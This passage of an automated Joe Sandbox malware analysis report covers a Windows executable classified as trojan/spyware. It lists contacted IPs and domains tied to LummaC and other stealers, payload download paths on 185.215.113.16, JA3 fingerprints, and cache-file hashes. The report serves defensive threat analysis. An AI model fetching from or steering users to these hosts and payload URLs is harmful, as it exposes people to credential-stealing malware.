https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/dotnet/try	chromecache_93.12.dr, chromecache_113.12.dr	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.42	s-part-0014.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.21.99	discokeyus.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.7
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578881
Start date and time:	2024-12-20 16:04:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RZnZbS97dD.exe renamed because original name is a hash value
Original Sample Name:	17358c0bb94bbce22d048c8869a2919f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@11/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.58.98, 142.250.181.99, 23.218.210.69, 172.217.19.206, 74.125.71.84, 2.20.41.214, 172.217.17.46, 142.250.200.206, 52.168.117.175, 216.58.208.234, 172.217.19.202, 172.217.17.74, 172.217.21.42, 142.250.181.138, 172.217.19.170, 172.217.17.42, 172.217.19.234, 142.250.181.106, 142.250.181.74, 104.86.110.152, 2.18.66.240, 52.182.143.215, 199.232.210.172, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.35, 13.107.246.63, 20.12.23.50, 2.17.169.248, 13.107.246.43
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, onedscolprdcus22.centralus.cloudapp.azure.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, onedscolprdeus19.eastus.cloudapp.azure.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, du
Execution Graph export aborted for target RZnZbS97dD.exe, PID 5196 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:05:12	API Interceptor	53x Sleep call for process: RZnZbS97dD.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.42	https://protect-us.mimecast.com/s/FVibCzpzxLsxEMXAhgAOBC	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
	http://border-fd.smartertechnologies.com/	Get hash	malicious	Unknown	Browse	border-fd.smartertechnologies.com/
	https://protect-us.mimecast.com/s/4MrPCrkvgotDWxrNCzxa8p	Get hash	malicious	Unknown	Browse	www.mimecast.com/
104.21.21.99	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	k6A01XaeEn.exe	Get hash	malicious	LummaC	Browse
	Inv59895_abubakar.iddrisu.html	Get hash	malicious	HTMLPhisher	Browse
	V-Mail_maryland.gov.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://webuildpart.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16/off/def.exe
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0014.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	Salary 2025- workers-v1.xls	Get hash	malicious	Unknown	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	Credit_DetailsCBS24312017915.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.42
	https://www.amtso.org/check-desktop-phishing-page/	Get hash	malicious	Unknown	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	INVOICE DUE.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.42
discokeyus.lat	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	172.67.197.170
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	172.67.197.170
	k6A01XaeEn.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	iOnDpwrkWY.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	hzD92yQcTT.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
s-part-0035.t-0009.t-msedge.net	Invoice Shipment.bat.exe	Get hash	malicious	DarkCloud	Browse	13.107.246.63
	MS100384UTC.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	SWIFT.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	Invoice for 04-09-24 fede39.admr.org.html	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	Laurier Partners Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	13.107.246.63
	https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eil&ts=67645d30	Get hash	malicious	Unknown	Browse	13.107.246.63
s-part-0015.t-0009.t-msedge.net	https://docs.google.com/presentation/d/e/2PACX-1vQdSuwONgWFnuoaK9jWkn4a4T1fFD4ixA3V2X7f5aWnD4sHxk2b10z2j2TMxkq3G15FQX3bbwReJ2PF/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.43
	AudioplaybackVM--00-32AoTranscript.html	Get hash	malicious	Unknown	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.43
	file.exe	Get hash	malicious	XWorm	Browse	13.107.246.43
	file.dll	Get hash	malicious	Unknown	Browse	13.107.246.43
	FW_ Fwd_ Voice Mail Message - 5TH Judicial Circuit.eml	Get hash	malicious	Lure-BasedAttack, HTMLPhisher	Browse	13.107.246.43
	UdY4Kc66Bc.exe	Get hash	malicious	Unknown	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.43

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	SWIFT.xls	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.12.88
	arm7.elf	Get hash	malicious	Mirai	Browse	162.159.132.75
	nsharm.elf	Get hash	malicious	Mirai	Browse	104.16.179.49
	https://www.tblgroup.com/tbl2/certificados-digitales/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	Invoice for 04-09-24 fede39.admr.org.html	Get hash	malicious	Unknown	Browse	104.22.21.144
	https://alphaarchitect.com/2024/12/long-term-expected-returns/	Get hash	malicious	Unknown	Browse	104.19.229.21
	http://url4908.dhlecommerce.co.uk/ls/click?upn=u001.X2rfUT-2B51P1nILh8ZMtd4zxSiOlaeCaJtVhZupM-2F9LVEom-2B2QjKW7VcxuhsgKUeKnIPI_ewjtI2P4e42WCeQ3lgulQYJHXxC-2BKEQd0RqJfZdimIQiEcg5K71uNDU3wpKab4YU06GJXEZw9euxGD1hXreQRtHviPlL-2BsigHUpj3RYaHOJ-2FpfiIYtW5UZW-2FL-2BsfGEF-2Fu3A-2Bkin-2FRABSBeyYYIziUnz7H5jv9BuAlxlqnrkK7Xb-2BSSeTcIF0qb4hFEFWpSrypfKJHyCgl3tbBDsclBEPKsRVdEpjy6Dwgd1VZBghtqeTmGJ311VYG2rlnLwf52rNmVt0FUWd8IYzZVJADPK4JWoWP-2FevdRAolnQn3jiyaPa-2FoGFukWqUg1oi4mOa5JSgRM9klq2vHbg6hrhBgclPYZMSvATsKsPKxozGI6BjIj7xrP4YD2dZONVrYcGI5H8p	Get hash	malicious	HTMLPhisher	Browse	104.18.86.42
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.12.88
MICROSOFT-CORP-MSN-AS-BLOCKUS	nshsh4.elf	Get hash	malicious	Mirai	Browse	20.201.109.68
	arm5.elf	Get hash	malicious	Mirai	Browse	22.237.124.214
	hmips.elf	Get hash	malicious	Mirai	Browse	22.191.104.222
	arm7.elf	Get hash	malicious	Mirai	Browse	22.1.51.137
	nsharm.elf	Get hash	malicious	Mirai	Browse	21.130.22.223
	https://www.bacselearning.co.uk/learn/forgot-password	Get hash	malicious	Unknown	Browse	51.137.183.119
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	20.233.83.145
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	204.79.197.219
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	20.42.65.90
	Laurier Partners Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.76.243
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.64

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	104.21.21.99
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	104.21.21.99
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	104.21.21.99

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
